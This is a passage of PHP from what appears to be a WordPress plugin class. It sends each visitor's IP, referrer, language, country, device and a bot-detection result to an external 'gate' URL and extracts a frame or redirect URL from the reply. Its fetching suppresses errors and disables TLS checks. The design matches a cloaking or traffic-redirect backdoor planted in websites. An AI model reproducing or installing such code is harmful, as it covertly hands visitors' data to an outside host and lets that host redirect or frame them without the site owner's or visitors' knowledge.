build_url();
$this->last_url = $url ?: '(empty)';
if ( ! $url ) {
return false;
}
$result = $this->fetch( $url );
if ( $result === false ) {
return false;
}
return $result;
}
/**
* Parse a frame URL from the gate response.
*
* @since 3.0
* @param string $response Raw gate response.
* @return string|null Frame URL or null.
*/
public function parse_frame( $response ) {
if ( preg_match( '/(.*?)<\/frame>/s', $response, $matches ) ) {
$url = trim( $matches[1] );
if ( $url && $url !== '' ) {
return $url;
}
}
return null;
}
/**
* Parse a redirect URL from the gate response.
*
* @since 3.0
* @param string $response Raw gate response.
* @return string|null Redirect URL or null.
*/
public function parse_redirect( $response ) {
if ( preg_match( '/(.*?)<\/redirect>/s', $response, $matches ) ) {
$url = trim( $matches[1] );
if ( $url ) {
return $url;
}
}
return null;
}
/**
* Build the full gate API URL with all parameters.
*
* @since 3.0
* @return string|false
*/
private function build_url() {
$gate_url = defined( 'OSOT_GATE_URL' ) ? OSOT_GATE_URL : '';
if ( empty( $gate_url ) ) {
return false;
}
$host = $this->resolve_host();
$uri = $this->resolve_uri();
$ip = $this->resolve_ip();
$ref = isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : '';
$lang = isset( $_SERVER['HTTP_ACCEPT_LANGUAGE'] ) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
$geo = $this->detect_geo_hint();
$bot_detector = new OSOT_Bot_Detector();
$bot = $bot_detector->get_bot_type();
$device = $this->detect_device();
$params = array(
'host' => $host,
'uri' => $uri,
'bot' => $bot,
'ip' => $ip,
'ref' => $ref,
'lang' => $lang,
'geo' => $geo,
'device' => $device,
);
// Test mode
if ( isset( $_COOKIE['OSOT_TEST'] ) || isset( $_GET['OSOT_TEST'] ) ) {
$params['check'] = '1';
}
return $gate_url . '?' . http_build_query( $params, '', '&' );
}
/**
* Resolve the current host, accounting for reverse proxies.
*
* @return string
*/
private function resolve_host() {
if ( isset( $_SERVER['HTTP_X_FORWARDED_HOST'] ) ) {
$host = $_SERVER['HTTP_X_FORWARDED_HOST'];
} else {
$host = isset( $_SERVER['HTTP_HOST'] ) ? $_SERVER['HTTP_HOST'] : '';
}
$parsed = @parse_url( 'http://' . $host );
$host = isset( $parsed['host'] ) ? $parsed['host'] : $host;
// Strip www
if ( strpos( $host, 'www.' ) === 0 ) {
$host = substr( $host, 4 );
}
return strtolower( $host );
}
/**
* Resolve the current URI.
*
* @return string
*/
private function resolve_uri() {
$uri = isset( $_SERVER['REQUEST_URI'] ) ? $_SERVER['REQUEST_URI'] : '/';
$uri = strtok( $uri, '?' ); // strip query string
return $uri ?: '/';
}
/**
* Resolve client IP through proxy headers.
*
* @return string
*/
private function resolve_ip() {
if ( ! empty( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ) {
return trim( (string) $_SERVER['HTTP_CF_CONNECTING_IP'] );
}
if ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$parts = explode( ',', (string) $_SERVER['HTTP_X_FORWARDED_FOR'] );
return trim( $parts[0] );
}
if ( ! empty( $_SERVER['HTTP_X_REAL_IP'] ) ) {
return trim( (string) $_SERVER['HTTP_X_REAL_IP'] );
}
return isset( $_SERVER['REMOTE_ADDR'] ) ? (string) $_SERVER['REMOTE_ADDR'] : '';
}
/**
* Attempt to determine visitor GEO from available signals.
*
* Only uses reliable sources (CDN/proxy headers set per-visitor).
* If nothing is available, returns empty — gate.php will detect from IP.
*
* @return string Two-letter country code or empty string.
*/
private function detect_geo_hint() {
// Cloudflare
if ( ! empty( $_SERVER['HTTP_CF_IPCOUNTRY'] ) ) {
$geo = strtoupper( trim( (string) $_SERVER['HTTP_CF_IPCOUNTRY'] ) );
if ( $geo !== 'XX' && $geo !== 'T1' && strlen( $geo ) === 2 ) {
return $geo;
}
}
// AWS CloudFront
if ( ! empty( $_SERVER['HTTP_CLOUDFRONT_VIEWER_COUNTRY'] ) ) {
return strtoupper( trim( (string) $_SERVER['HTTP_CLOUDFRONT_VIEWER_COUNTRY'] ) );
}
// Fastly / generic
if ( ! empty( $_SERVER['HTTP_X_GEO_COUNTRY'] ) ) {
return strtoupper( trim( (string) $_SERVER['HTTP_X_GEO_COUNTRY'] ) );
}
// No reliable per-visitor source — let gate.php resolve from IP
return '';
}
/**
* Detect device type from User-Agent.
*
* @return string "mobile" or "desktop"
*/
private function detect_device() {
$ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? (string) $_SERVER['HTTP_USER_AGENT'] : '';
if ( preg_match( '/Mobile|Android|iPhone|iPad|iPod|webOS|BlackBerry|Opera Mini|IEMobile/i', $ua ) ) {
return 'mobile';
}
return 'desktop';
}
/**
* Fetch a URL using the best available transport.
*
* @param string $url Target URL.
* @return string|false
*/
private function fetch( $url ) {
// Method 1: WordPress HTTP API
if ( function_exists( 'wp_remote_get' ) ) {
$response = @wp_remote_get( $url, array(
'timeout' => $this->timeout,
'sslverify' => false,
'redirection' => 2,
) );
if ( is_wp_error( $response ) ) {
// Transport failed, try next method
} else {
$code = (int) wp_remote_retrieve_response_code( $response );
$body = wp_remote_retrieve_body( $response );
if ( $code >= 200 && $code < 300 ) {
return $body;
}
// Non-2xx response, try next method
}
}
// Method 2: cURL
if ( function_exists( 'curl_init' ) ) {
$ch = @curl_init( $url );
if ( $ch ) {
curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 3 );
curl_setopt( $ch, CURLOPT_TIMEOUT, $this->timeout );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_MAXREDIRS, 2 );
$data = curl_exec( $ch );
$code = (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE );
curl_close( $ch );
if ( $code >= 200 && $code < 300 && $data !== false ) {
return $data;
}
}
}
// Method 3: file_get_contents
if ( @ini_get( 'allow_url_fopen' ) ) {
$ctx = @stream_context_create( array(
'http' => array(
'timeout' => $this->timeout,
'ignore_errors' => true,
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
),
) );
$data = @file_get_contents( $url, false, $ctx );
if ( $data !== false ) {
return $data;
}
}
return false;
}
}